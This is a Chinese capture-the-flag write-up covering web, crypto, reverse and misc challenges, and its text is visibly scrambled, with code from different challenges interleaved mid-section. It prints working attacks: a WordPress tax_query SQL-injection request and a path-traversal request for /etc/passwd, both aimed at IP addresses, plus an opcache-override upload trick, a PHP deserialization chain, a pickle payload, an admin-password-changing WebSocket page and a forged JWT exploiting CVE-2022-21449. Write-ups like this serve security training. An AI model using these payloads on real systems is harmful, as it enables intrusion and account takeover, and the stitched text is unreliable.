DWORD v159 = (2 * (v153[3] | (v142 >> 5)) - (v153[3] ^ (v142 >> 5))) ^ (2 *
(v153[2] | (16 * v142)) - (v153[2] ^ (16 * v142))) ^ (2 * (v142 | v103) - (v103 ^
v142));
解密代码块后得到synt{Vg_Vf_A0g_guNg_zHpu_unEqre},利⽤所有的⼤⼩写字⺟得出52个字节的替换表,将字⺟
替换回去得到flag{It_Is_N0t_thAt_mUch_haRder}。
Web
uploadpro
从phpinfo中发现题⽬使⽤fpm启动,并且开启了opcache扩展,⽂件上传功能使⽤⽩名单校验。
利⽤ ⽬录穿越 读获得 index.php源码:
v107 = v107 - v159;
DWORD v156 = (2 * (v103 | v107) - (v103 ^ v107)) ^ (2 * (v153[0] | (16 * v107)) -
(v153[0] ^ (16 * v107))) ^ (2 * (v153[1] | (v107 >> 5)) - (v153[1] ^ (v107 >> 5)));
v142 = v142 - v156;
v103 = v103 - 0x9e3779b9;
}
DWORD *v160 = (DWORD *)v182;
v160[0] = v142;
v160[1] = v107;
Index143 = Index143 + 8;
}
char list[] = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm";
char flag[] = "synt{Vg_Vf_A0g_guNg_zHpu_unEqre}";
for (int i = 0; i < strlen(flag); i++)
{
for (int j = 0; j < strlen(list); j++)
{
if (list[j] == flag[i])
{
if(j < 26)
flag[i] = 'A' + j;
else
flag[i] = 'a' + j - 26;
break;
}
}
}
<!DOCTYPE html>
<html>
<head>
<title>⽂件上传</title>
<meta charset="utf-8">
</head>
<body>
<form action="index.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="max_file_size" value="1048576">
<input type="file" name="file">
<input type="submit" name="上传">
</form>
</body>
</html>
<?php
if($_SERVER['REQUEST_METHOD']=="GET"){
die(0);
}
header("content-type:text/html;charset=utf-8");
$filename = str_replace("\0","",$_FILES['file']['name']);
$prefix = isset($_GET['prefix'])?str_replace("\0","",$_GET['prefix']):"";
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
if ($size > 2*1024*1024){
echo "<script>alert('⽂件⼤⼩超过2M⼤⼩');window.history.go(-1);</script>";
exit();
}
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
$allow_suffix = array('jpg','gif','jpeg','png',"bin","hex","dat","docx","xlsx");
if(!in_array($ext_suffix, $allow_suffix)){
echo "<script>alert('上传的⽂件类型只能是
jpg,gif,jpeg,png,bin,hex,dat');window.history.go(-1);</script>";
exit();
}
if (move_uploaded_file($temp_name, '/uploads/'.$prefix.$filename)){
echo "<script>alert('⽂件上传成功! Path /uploads/$prefix$filename');</script>";
}else{
echo "<script>alert('⽂件上传失败,错误码:$error');</script>";
}
?>
使⽤docker镜像php:7.4.3-fpm启动环境,安装opcache扩展,创建⼀个恶意的phpinfo.php并获取其opcache缓存
⽂件phpinfo.php.bin。
新下发⼀个环境,不访问phpinfo.php,⾸先访问index.php,再下载index.php.bin,使⽤插件获取opcache⽂件
的时间戳:https://github.com/GoSecure/php7-opcache-override
将从题⽬下载得到index.php.bin的时间戳赋值给我们构造的phpinfo.php.bin,然后借助⽬录穿越将其上
传/tmp/opcache/a06090313e406ccd069625aabb3cded7/var/www/html/phpinfo.php.bin,此时再访问
phpinfo.php,就成功覆盖,执⾏恶意代码并获取flag。
babyweb
让admin⾃⼰修改⾃⼰密码,vps内容如下:
然后登录购买hint,代码审计,根据python go的json解析不⼀致绕过即可。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<button id="btn" type="button">点我发送请求</button>
</body>
<script type="text/javascript" src="js/jquery.js" ></script>
<script>
ws = new WebSocket("ws://127.0.0.1:8888/bot");
ws.onopen = function () {
var msg = "changepw 123456";
ws.send(msg);
document.getElementById("sendbox").value = "";
document.getElementById("chatbox").append("你: " + msg + "\r\n");
}
</script>
</html>
{"product":[{"id":1,"num":0},{"id":2,"num":0}],"product":[{"id":1,"num":3},
{"id":2,"num":3}]}
easylogin
80: wordpress
读moodle的mdl_sessions,然后找userid=2的session
替换登陆后台,然后安装插件getshell即可。
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 47.105.60.229
Content-Length: 183
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://47.105.60.229
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/103.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,
*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://47.105.60.229/wp-login.php?redirect_to=http%3A%2F%2F47.105.60.229%2Fwp-
admin%2F&reauth=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Connection: close
action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms]
[1]=1) or updatexml(0x7e,concat(1,user()),0x7e)#&query_vars[tax_query][1]
[field]=term_taxonomy_id
easyweb
读⽂件审计,利⽤SESSION_UPLOAD_PROGRESS上传⽂件,由于未public schema,可以直接进⼊get进⾏任意覆
盖(当然也可以绕过wakeup),popchain构造如下:
GET /showfile.php?f=./guest/../../../../../../../etc/passwd HTTP/1.1
Host: 47.104.95.124:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/103.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,
*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
<?php
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
function __construct(){
$this->file = $_FILES["file"];
}
function __get($value){
$this->filesize->$value = $this->date;
echo $this->tmp;
}
}
class GuestShow{
public $file;
public function __construct($file)
{
$this->file=$file;
}
function __toString(){
$str = $this->file->name;
return "";
}
function __get($value){
return $this->$value;
}
function __destruct(){
echo $this;
}
}
class AdminShow{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
$this->schema = 'file:///var/www/html/';
}
public function __toString()
{
$content = $this->str[0]->source;
$content = $this->str[1]->schema;
return $content;
}
public function __get($value){
$this->show();
return $this->$value;
}
public function __set($key,$value){
$this->$key = $value;
}
public function show(){
$url = $this->schema . $this->source;
echo $url;
}
public function __wakeup()
{
if ($this->schema !== 'file:///var/www/html/') {
$this->schema = 'file:///var/www/html/';
}
if ($this->source !== 'admin.png') {
$this->source = 'admin.png';
}
}
}
$a=new GuestShow("aa");
$c=new AdminShow("aa");
$c->source='zu876';
然后就是利⽤show进⾏curl扫内⽹,最后在10段发现⽬标机器,然后file协议读即可。
crash
$a->file=$c;
echo serialize($a);
unserialize('O:9:"GuestShow":1:{s:4:"file";O:9:"AdminShow":4:
{s:6:"source";s:5:"zu876";s:3:"str";N;s:6:"filter";}');
import base64
# import sqlite3
import pickle
from flask import Flask, make_response,request, session
import admin
import random
app = Flask(__name__,static_url_path='')
app.secret_key=random.randbytes(12)
class User:
def __init__(self, username,password):
self.username=username
self.token=hash(password)
def get_password(username):
if username=="admin":
return admin.secret
else:
# conn=sqlite3.connect("user.db")
# cursor=conn.cursor()
# cursor.execute(f"select password from usertable where username='{username}'")
# data=cursor.fetchall()[0]
# if data:
# return data[0]
# else:
# return None
return session.get("password")
@app.route('/balancer', methods=['GET', 'POST'])
admin登录之后,给的是⼀个lua-resty-balancer负载均衡,⽬标是让slb超时错误。
def flag():
pickle_data=base64.b64decode(request.cookies.get("userdata"))
if b'R' in pickle_data or b"secret" in pickle_data:
return "You damm hacker!"
os.system("rm -rf *py*")
userdata=pickle.loads(pickle_data)
if userdata.token!=hash(get_password(userdata.username)):
return "Login First"
if userdata.username=='admin':
return "Welcome admin, here is your next challenge!"
return "You're not admin!"
@app.route('/login', methods=['GET', 'POST'])
def login():
resp = make_response("success")
session["password"]=request.values.get("password")
resp.set_cookie("userdata",
base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("p
assword")),2)), max_age=3600)
return resp
@app.route('/', methods=['GET', 'POST'])
def index():
return open('source.txt',"r").read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
b'''capp
admin
(S'\\x73ecret'
S'1'
db.'''
设置admin.secret为1,然后⽤admin/1登录
# nginx.vh.default.conf -- docker-openresty
#
# This file is installed to:
# `/etc/nginx/conf.d/default.conf`
#
# It tracks the `server` section of the upstream OpenResty's `nginx.conf`.
#
# This config (and any other configs in `etc/nginx/conf.d/`) is loaded by
# default by the `include` directive in `/usr/local/openresty/nginx/conf/nginx.conf`.
#
# See https://github.com/openresty/docker-openresty/blob/master/README.md#nginx-config-
files
#
lua_package_path "/lua-resty-balancer/lib/?.lua;;";
lua_package_cpath "/lua-resty-balancer/?.so;;";
server {
listen 8088;
server_name localhost;
#charset koi8-r;
#access_log /var/log/nginx/host.access.log main;
location /gettestresult {
default_type text/html;
content_by_lua '
local resty_roundrobin = require "resty.roundrobin"
local server_list = {
[ngx.var.arg_server1] = ngx.var.arg_weight1,
[ngx.var.arg_server2] = ngx.var.arg_weight2,
[ngx.var.arg_server3] = ngx.var.arg_weight3,
}
local rr_up = resty_roundrobin:new(server_list)
for i = 0,9 do
ngx.say("Server seleted for request ",i,":
" ,rr_up:find(),"<br>")
end
';
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
原理跟bilibili去年崩掉⼀样,让weight为"0"
Crypto
# proxy the PHP scripts to Apache listening on 127.0.0.1:80
#
#location ~ \.php$ {
# proxy_pass http://127.0.0.1;
#}
# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
#location ~ \.php$ {
# root /usr/local/openresty/nginx/html;
# fastcgi_pass 127.0.0.1:9000;
# fastcgi_index index.php;
# fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
# include fastcgi_params;
#}
# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /\.ht {
# deny all;
#}
}
Factor
论⽂ https://eprint.iacr.org/2015/399.pdf
# from pwn import *
import requests
import json
import os
import gmpy2
from pwnlib.tubes.tube import *
from hashlib import *
from Crypto.Util.number import *
from tqdm import tqdm, trange
import random
import math
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
from factordb.factordb import FactorDB
from sage.modules.free_module_integer import IntegerLattice
import itertools
from fastecdsa.curve import Curve
from random import getrandbits, shuffle, randint
def resultant(p1, p2, var):
p1 = p1.change_ring(QQ)
p2 = p2.change_ring(QQ)
var = var.change_ring(QQ)
r = p1.resultant(p2, var)
return r.change_ring(F)
# r = remote('123.56.87.28', '19962')
# context(log_level='debug')
# ALPHABET = string.ascii_letters + string.digits
# rec = r.recvline().decode()
# print(rec)
# suffix = rec[rec.find('+'):rec.find(')')][1:].strip()
# digest = rec[rec.find('==')+3:-1].strip()
# print(f"suffix: {suffix} \ndigest: {digest}")
# for i in itertools.product(ALPHABET, repeat=4):
# prefix = ''.join(i)
# guess = prefix + suffix
# if sha256(guess.encode()).hexdigest() == digest:
# # log.info(f"Find XXXX: {prefix}")
# print((f"Find XXXX: {prefix}"))
# break
# r.sendline(prefix.encode())
n11=80104993294056800526997891239658574149881038942561596603682887778423811663417729024
719401942511160681100572852136887906533603822136103706240702983615514887471978971434560
354777928455810183380115550976281837647087421578957493900221227439995043326977532514401
546862026302855780461877424023298815796171262867790113081470391751300411454723437562974
717683458116630655231107552266940334782809583152069356329124986983239069864669164720437
113336225484623499017513804792870328983346073423530209391614748950920606192387762330059
619431705988482432252753266247034827407980078112010494654606350076385262218740460863954
285828566128829391891218435423668797591951030022193207413553102831417047591711020425404
233611661933584121341899060559062084251161581544311461233388143092076900293337088749455
864083300533990670660349780984686386396739154364704922430955693690976817925958185152021
466990456046764047314448163392043848761578868926296174105314661055499722486133194971672
105655349953118669542543916322280291781314026651373584144771741884636009665259284494036
293217101914343408018472809332614382116509789505893537221570894808824859658512747577002
196250126291527449747842886813045512261201640838160756120080226703886951689666538757689
5570245272035575637
n12=63540197034020572513932500650497834451274492695868803142344800399207276993180821748
670957415149223087937457431345766243642326343779238971137968751205639111741080756549254
871869116618337263315164491713527225977099709619551848905631935025867372309541792215318
242391375927289369686742619370447975277251108145772951384368258895149955113243292314799
723859753805590293212379225259351422532819654148345174731404808082440553074253347391432
929434648669168490410040697207303705008986181660450565004295377836062193438081599954118
306758549860605385712577597991507732956672253183008971482397996593419033853856418825327
101636729989001544961114116678004876340325230916051716456911074056158410083921213866188
161535138294681381807889988259531336293459495189556018900343877545067534359014782118695
352626222497333396245456127532192515161917820449934233974963775810012689333099425290292
650970561788223961038042083079108890737839722681751409546881522818671622005707509571189
407003234461324480393454131857384702936556315991897040405713727088458790576682875038775
313006527414790237999322478014966360046249228189132070213415385335939358890275042397206
867929337333386938939397035376050743691323365742218553148202323738424753555466648176019
7851108297145147371
e11=18988399805620487546070690735278448521325364324407931061241814065147701780667759882
323620548098500747749818368981186514694241487259707081994611130887050449056335925789363
339183285445059109967464286792994198794724447909413635580258876205708565985483202464263
549743957652437416461217434134471322972303653551480669148308569044337503791146921229007
237721149911999796389875715598605508834709772464595230688628988596944614271486266282831
988966593371354385065747995853781786787903084102667132560034790226992645688445059775135
370135292129615732694946837409872836826081894067195733015736626967539030509918128841921
925697372743218289868476408398134247018945784729333857277574450112911349611248226122398
65
e12=12626474190189300226171896089957122600956230472738938115295107545966363902555649888
278217611269179764309781755224502779070632479811064055190945606163782412471116989151999
993639480157037886165546572751473387668052899092611291650251560781367185730064790308275
853474581436457383537161891312093980567418648484868180764403557788869934620125333972083
309250573055026532191736294669486351103527521624425525418126656075167531865958173760297
077775990290407247274999521612611797072718144059071652079044997221227790962305635480114
919323784296547644868551478731357691166374842404545962310926844245722581197680935627472
492515189653804659940550494117153535471474667119493918145505915918305152622965560509468
81
n2=209798341155088334158217087474227805455138848036904381404809759100627849272231840321
985747935471287990313456209656625928356468120896887536235496490078123448217785939608443
507649096688546074968476040552137270080120417769906047001451239544719039212180059396791
491281787790213953488743488306241516010351179070869410418232801398578982244984544906579
574766534671056023774009163991804748763929626213884208260660722705479782932001102089367
261720194650874553305179520889083170973755913964440175393646890791491057655226024046525
748177999422035469428780228224800114202385209306803288475439775037067014297973202621118
959024226798935588827359265962780792266516120013602384766460619793738405476219362508944
225007365127768741191310079985425349292613888185378948854602285379329682053663283534930
182589905986063348509703027498270111412063194971956202729807710253369312175636837558252
924035002153389909587349043986253518050303628071319876207392440085675892353421232158925
122721273720564784886530611286461575045181073744696415657043278123662980166364494583141
297996445429477446442693717498789391918530672770193730629928408766563592081857706608049
076318165712479742423149330311238462044666384622153280310696667586565906758451118241914
402257039981388209
e2=65537
n3=539779851369541956878655738599584730199799866957191805784596190682932284216781781433
367450841202917758999300635019369629627621029957135109806205877317954671312041249493462
048283611940752235036153024920172209763260723728345918562258401803973624430150143563078
517485996070862532682695228590709019451174548520135142052216785774589096706631010293690
859363524584240662502290912412366366114571976050857239915691266377257797199583543940504
695517331512813468837128344612227973709974625418257243011036826241599265375741977853552
204640800449679679351666009764297016524814036295707311913711955324055690490892097177271
718850857268982130811714517356073266905474635370690445031512184247179039751734276906533
177939993769044135143389748416635981226449566039039202521305851567296884751935162651063
209779647359922622084851547605090230221057349511482738300221222563908357379545905837110
168948295030747460300104202323692732549831403834387939156877086852393515817984772384147
449841124275061609701453997579569931391166586163299940486204581696722731952467570857217
406030804590055255431828403195798003509083922294733709507134156466158642941338493323430
671502043066148246348074878064089651235355282144209668143249348243220714471988019011613
749340243917652821
e3=817930097875308458781286189404739522551604911037694881210981131943027561461277372667
234589335969190028143248438267004704469737481804351273153340257637464540547720723980149
842877478376816388007849544874742142507852198157840863879033652837201927107371201337114
193980801704939943485868729948046175363816471940461212893978705579776217474509207454741
218334919215663871175087208331379555143946550772480762667451493517010457371545878236646
958713850884598049067389024571372978291708991027198055715959280735050415719291353000719
951014400484802022118155847216054301873312422526612737937375191043960445936807865249902
907093670734986213905391374518641378206647046147896170301359165513614006087925006737928
391379886764875817100453577556530684244454575535120279683317756065656465263297568591293
528158126814180369668695225953994558860959138580762010827933349817002816733869023511700
351526428184395398499795887827234777856193372679247398185575545452288632166967679081318
966808437315389775454029086734675103356750092247731753044596775395522145474494620855539
458811148461070078956654750740230954995774081553506905783791520485249093016884360573263
232801712915485285722789536254914673761890618065162321684850049143814245625065345805392
262224029973613633517963918089873026969069996579964475777447214721027111115076904897687
124973115638793926074919237036148828577537762294481757029209520190614256740353915117920
9316853493906909989301225903409448461436855145
c11=18979511327426975645936984732782737165217332092805655747550406443960209507493506811
471688957217003792679188427155591583024966608843371190136274378868083075515877811693937
328204553788450031542610082653080302874606750443090466407543829279067099563572849101374
714795279414177737277837595409805721290786607138569322435729584574023597293220443351227
559400618351504654781318871214405850541820427562291662456382362148698864044961814456827
646881685994720468255382299912036854657082505810206237294593538092338544641919051145900
715456411365065867357857347860000894624247098719102875782712030938806816332901861114078
070638796157513248160442185781635520426230183818695937457557248160135402734489627723104
008584934936245208116232179751448263136309595931691285743580695792601141363221346329077
184688857290503770641398917586422369221744736905117499140140651493031622040723274355292
502182795605723573863581253354922291984335841915632076694172921289489383700174864888664
946302588049384130628381766560976143458735712162489811693014419190718601945154153130272
620025118408017441490090252674737105557818759190934585829634273698371996797545908125156
282869589331913665938038870431655063063535672001112420959158339261862052308986374193671
007982914711432579
c12=33658700567130452756674594835529041263626174896958197621423957862181686334311743352
403353383863694167930049727090969677502103100431247799713074136170926282273690434064113
865235963295045565192046404244802246766459648405517427089517049907634733338122276851859
901852094809894362622906199612626015460403810154354658891761957670286644499857855590707
099033157472213514177818263155980215449381568728407752446933129024905729116380329061970
110400702883660983284735174802035479878850879025893571839978300206949012366334515690244
050150711728974769551026646153901943161012335117622744361231703789925777404575148713564
605230927709893991908802928443722184018276980885018482768130761138935339268370751614173
606779389737891123581904943254275842990194520263211708959589928039057570626623925284115
249053435376011823191819011004331987774411908381121470759312275740924064525740909743606
182561368677391646612269316897106241804670396914400477927039132064549558602434266800249
715535862379594269247716448947591735100314904508728351072898109644989013073505501507555
761425386769870247992061929991981676897258127350783730917945037463491656708325163020306
706566391007392699051710892149044291937277417020123973406481930169352736623300792567004
3499415100789027665
c2=183525726080559025503503869500737745304538578972487380303800078307011355703106220043
686052083369222665132381341274968221997997617137823661781778095971371026124441475655781
552605247474398991500122230272184899461240862768148996755638376695597951533496864342427
382074256530795143760890709807975964571519657724601095196235725021095926123943166802022
877124657217673413022348061302445513872961330517608930331949626919420402285455088950091
952911062975814700665459913526688261973468305610101984175270579445079021439656340588482
760172834789336750529936578223228667789949562050337045820476183240710453490725265402507
074631126685793425373495672478107156042206902153136413295226740801460472915707524302319
235663024634918773776170447689789974385966434584751289368509949340294760301366430539975
492537920762607654591666183698649426810568648159962533156319300027388542358411203218700
752617822503575064368255500888264693965080459122583036529122171511272809594357414199617
214184286055150961603446887956555628897551653620067753171880090082887826917058795106558
921819750034857146043405423784773882257363166823796166767702345579394710989196470537993
137772486784556202317212027808309800638240030763088115405344923177198115888987271341905
45533822501681653
c3=113097822337683973761068913398570777162211043704088253732500045618770280334319497174
908657828372816818344430304314992760410247741225285170975119344962728883084314382093407
445567724674775086423808679124143380073906159023182353116556175251427048715466914368972
746661938211846262612414049036821553068430149530397389927209475908905748728402722287875
974303298260579839357610962198145974153609818939841880084892796820949226354126424023144
300953584658958900737493704530725894948802258740332090822797815745616247879170037794873
059391625680745994045522420168248552864215035136318711240256011217929372430302003068882
829637056296413462078222453765071094277727760527662423010417144554652783429899139309180
017349156600053882338180319473460877576898373222480215735280046214925463242092830060830
764299787309912687294672319845054775281463150375545716818434962456139485501224661520991
156961587158843064393883274763714930309353593180897123378717852182761518709151878662808
890356934477932099818218743384674756674800089177733447066489275506387382342429495897972
218764782517198727316942685748481956118012927027254979181519862451112593068440686462293
151078537886822555211870303467014484443432209106264020502334805536091587252238173816637
270028678636848763
cf = continued_fraction(n11/n12)
fracs = cf.convergents()
for xx in tqdm(fracs):
q1 = xx.numerator()
q2 = xx.denominator()
if q1.nbits() in range(511, 513) and q2.nbits() in range(511, 513):
if n11 % q1 == 0:
print('--------------------------------')
print(q1)
assert n11 % q1 == 0
p1 = int((n11 // q1)^(1/2))
p2 = int((n12 // q2)^(1/2))
assert p1^2 * q1 == n11
phi1 = (q1 - 1) * p1 * (p1 - 1)
phi2 = (q2 - 1) * p2 * (p2 - 1)
d1 = inverse(e11, phi1)
d2 = inverse(e12, phi2)
myJWT
CVE-2022-21449, https://neilmadden.blog/2022/04/19/psychic-signatures-in-java/
m1 = pow(c11, d1, n11)
m2 = pow(c12, d2, n12)
# print(m1)
# print(m2)
break
m1 = int(m1)
m2 = int(m2)
P.<x2> = PolynomialRing(Zmod(n2))
f2 = m1*m2*x2 - m1 + m2
root = f2.monic().small_roots(X=2**672,beta=0.75)[0]
p2 = gcd(int(m1*m2*root - m1 + m2),n2)^(1/6)
q2 = n2 / p2^7
d2 = int(pow(e2,-1,p2**6*(p2-1)*(q2-1)))
b = int(pow(c2,d2,n2))
P.<x3> = PolynomialRing(Zmod(n3))
f3 = e3 * x3 - b
root = f3.monic().small_roots(X=2**672,beta=0.75)[0]
p3 = gcd(int(e3 * root - b),n3)^(1/6)
q3 = n3 / p3^7
d3 = int(pow(e3,-1,p3**6*(p3-1)*(q3-1)))
m3 = pow(c3,d3,n3)
print(long_to_bytes(int(m3)))
from pwn import *
import requests
import json
import os
import gmpy2
from pwnlib.tubes.tube import *
from hashlib import *
from Crypto.Util.number import *
from tqdm import tqdm, trange
import random
import math
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
from factordb.factordb import FactorDB
from sage.modules.free_module_integer import IntegerLattice
import itertools
from fastecdsa.curve import Curve
from random import getrandbits, shuffle, randint
def resultant(p1, p2, var):
p1 = p1.change_ring(QQ)
p2 = p2.change_ring(QQ)
var = var.change_ring(QQ)
r = p1.resultant(p2, var)
return r.change_ring(F)
# r = remote('123.56.87.28', '19962')
# context(log_level='debug')
# ALPHABET = string.ascii_letters + string.digits
# rec = r.recvline().decode()
# print(rec)
# suffix = rec[rec.find('+'):rec.find(')')][1:].strip()
# digest = rec[rec.find('==')+3:-1].strip()
# print(f"suffix: {suffix} \ndigest: {digest}")
# for i in itertools.product(ALPHABET, repeat=4):
# prefix = ''.join(i)
# guess = prefix + suffix
# if sha256(guess.encode()).hexdigest() == digest:
# # log.info(f"Find XXXX: {prefix}")
# print((f"Find XXXX: {prefix}"))
# break
# r.sendline(prefix.encode())
payload1 = b'{"typ":"JWT","alg":"myES"}'
payload2 = b'{"iss":"qwb","name":"administrator","admin":true,"exp":2659185892270}'
payload3 = b'\x00' * 64
payload = ''
payload += b64e(payload1)
payload += '.'
payload += b64e(payload2)
payload += '.'
Lattice
output.txt⾥是远端拿到的C
payload += b64e(payload3)
print(payload)
from pwn import *
import requests
import json
import os
import gmpy2
from pwnlib.tubes.tube import *
from hashlib import *
from Crypto.Util.number import *
from tqdm import tqdm, trange
import random
import math
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
from factordb.factordb import FactorDB
from sage.modules.free_module_integer import IntegerLattice
import itertools
from fastecdsa.curve import Curve
from random import getrandbits, shuffle, randint
def resultant(p1, p2, var):
p1 = p1.change_ring(QQ)
p2 = p2.change_ring(QQ)
var = var.change_ring(QQ)
r = p1.resultant(p2, var)
return r.change_ring(F)
# r = remote('123.56.87.28', '19962')
# context(log_level='debug')
# ALPHABET = string.ascii_letters + string.digits
# rec = r.recvline().decode()
# print(rec)
# suffix = rec[rec.find('+'):rec.find(')')][1:].strip()
# digest = rec[rec.find('==')+3:-1].strip()
# print(f"suffix: {suffix} \ndigest: {digest}")
# for i in itertools.product(ALPHABET, repeat=4):
# prefix = ''.join(i)
# guess = prefix + suffix
# if sha256(guess.encode()).hexdigest() == digest:
# # log.info(f"Find XXXX: {prefix}")
# print((f"Find XXXX: {prefix}"))
# break
# r.sendline(prefix.encode())
n = 75
m = 150
r = 10
N =
126633165554229521438977290762059361297987250739820462036000284719563379254544315991201
997343356439034674007770120263341747898897565056619503383631412169301973302667340133958
109
with open('output.txt', 'r') as f:
data = f.readlines()
for i in range(len(data)):
data[i] = data[i].replace('[', '').replace(']', '').split(' ')
tmp = []
for x in data[i]:
if x != '':
tmp.append(int(x))
data[i] = tmp
print(len(tmp))
C = matrix(ZZ, data)
A = matrix(ZZ,m+r,m+r)
for i in range(m):
A[i,i] = 1
for i in range(r):
for j in range(m):
A[j,i+m] = C[i,j]<<200
A[i+m,i+m] = N<<200
ans = A.LLL()
B = matrix(ZZ,n,m)
for i in range(n):
assert list(ans[i][m:]) == [0]*r
B[i] = ans[i][:m]
# print(B)
ans = B.right_kernel().basis()
D = matrix(ZZ,ans)
Misc
谍影重重
给了⼀个config.json,⾥⾯只有个UUID,搜了⼀下发现是V2Ray常⽤的⼀个UUID,所以应该是VMess流量分析
⼀开始是看到了这个官⽅⽂档,https://www.v2ray.com/developer/protocols/vmess.html,然后先去解请求包的
指令部分,发现Python的AES-CFB不太⾏,就⽤Golang写了
从https://github.com/jarvisgally/v2simple抄了点代码
# print(D)
print('result=')
from base64 import b64decode
res = D.BKZ(block_size=12)[0]
key1 = sha256(str(res).encode()).digest()
key2 = sha256(str(-res).encode()).digest()
c = 'rX4K8nZnib5PN13ct6AMwTos99Vdnu7gxsdLMZekKu7gEKx862hL9voPRJS+GzGm'
c = b64decode(c)
aes = AES.new(key1, AES.MODE_ECB)
print(aes.decrypt(c))
aes = AES.new(key2, AES.MODE_ECB)
print(aes.decrypt(c))
package main
import (
"bytes"
"crypto/md5"
"encoding/binary"
"encoding/hex"
"strings"
"errors"
"math/bits"
"sync"
"fmt"
"crypto/aes"
"crypto/cipher"
)
func init() {
bufPools = InitBufPools()
writeBufPool = InitWriteBufPool()
}
//
// Read buffer
//
var bufPools []sync.Pool
func InitBufPools() []sync.Pool {
pools := make([]sync.Pool, 17) // 1B -> 64K
for k := range pools {
i := k
pools[k].New = func() interface{} {
return make([]byte, 1<<uint32(i))
}
}
return pools
}
func msb(size int) uint16 {
return uint16(bits.Len32(uint32(size)) - 1)
}
func GetBuffer(size int) []byte {
if size <= 0 || size > 65536 {
return nil
}
bits := msb(size)
if size == 1<<bits {
return bufPools[bits].Get().([]byte)[:size]
}
return bufPools[bits+1].Get().([]byte)[:size]
}
func PutBuffer(buf []byte) error {
bits := msb(cap(buf))
if cap(buf) == 0 || cap(buf) > 65536 || cap(buf) != 1<<bits {
return errors.New("incorrect buffer size")
}
bufPools[bits].Put(buf)
return nil
}
//
// Write buffer
//
var writeBufPool sync.Pool
func InitWriteBufPool() sync.Pool {
return sync.Pool{
New: func() interface{} { return &bytes.Buffer{} },
}
}
func GetWriteBuffer() *bytes.Buffer {
return writeBufPool.Get().(*bytes.Buffer)
}
func PutWriteBuffer(buf *bytes.Buffer) {
buf.Reset()
writeBufPool.Put(buf)
}
// StrToUUID converts string to uuid
func StrToUUID(s string) (uuid [16]byte, err error) {
b := []byte(strings.Replace(s, "-", "", -1))
if len(b) != 32 {
return uuid, errors.New("invalid UUID: " + s)
}
_, err = hex.Decode(uuid[:], b)
return
}
// GetKey returns the key of AES-128-CFB encrypter
// Key:MD5(UUID + []byte('c48619fe-8f02-49e0-b9e9-edf763e17e21'))
func GetKey(uuid [16]byte) []byte {
md5hash := md5.New()
md5hash.Write(uuid[:])
md5hash.Write([]byte("c48619fe-8f02-49e0-b9e9-edf763e17e21"))
return md5hash.Sum(nil)
}
// TimestampHash returns the iv of AES-128-CFB encrypter
// IV:MD5(X + X + X + X),X = []byte(timestamp.now) (8 bytes, Big Endian)
func TimestampHash(unixSec int64) []byte {
ts := GetBuffer(8)
defer PutBuffer(ts)
binary.BigEndian.PutUint64(ts, uint64(unixSec))
md5hash := md5.New()
md5hash.Write(ts)
md5hash.Write(ts)
md5hash.Write(ts)
md5hash.Write(ts)
return md5hash.Sum(nil)
}
func main() {
fmt.Println("111");
var t int64
t = 1615528962 - 100
var i int64
for i = 0; i < 200; i += 1 {
uuid, _ := StrToUUID("b831381d-6324-4d53-ad4f-8cda48b30811")
block, _ := aes.NewCipher(GetKey(uuid))
var buf []byte
buf, _ =
hex.DecodeString("b48b35bf592c09b21545392f73f6cef91143786464578c1c361aa72f638cd0135f253
43555f509aef6c74cd2a2b86ee0a9eb3b93a81a541def4763cc54f91ba02681add1b815e8c50e028c76bde0
ee8a9593db88d901066305a51a9586a9e377ee100e7d4d33fcfc0453c86b1998a95275cd9368a68820c2a6a
540b6386c146ea7579cfe87b2e459856772efdcf0e4c6ab0f11d018a15561cf409cbc00491d7f4d22b7c486
a76a5f2f25fbef503551a0aeb90ad9dd246a9cc5e0d0c0b751eb7b54b0abbfef198b1c4e5e755077469c318
f20f3e418af03540811ab5c1ea780c886ea2c903b458a26")
stream := cipher.NewCFBDecrypter(block, TimestampHash(t + i))
stream.XORKeyStream(buf, buf)
if buf[0] == 1 {
fmt.Println(buf[0])
fmt.Println(buf)
}
}
}
数据应该是
根据协议读⼀下这个数据,应该只到第55byte为⽌,后⾯不⽤解密,按照⽂档可以读出来在校验值之前加⼊6 字节
的随机值,加密⽅式是ChaCha20-Poly1305,⽬标服务器地址127.0.0.1:5000,还可以拿到密钥和IV的信息。
但是按照这个解密⽅法解不出来,再去仔细看数据包,发现协议头⾥⾯有⼀个⽂档⾥没写的Opt,
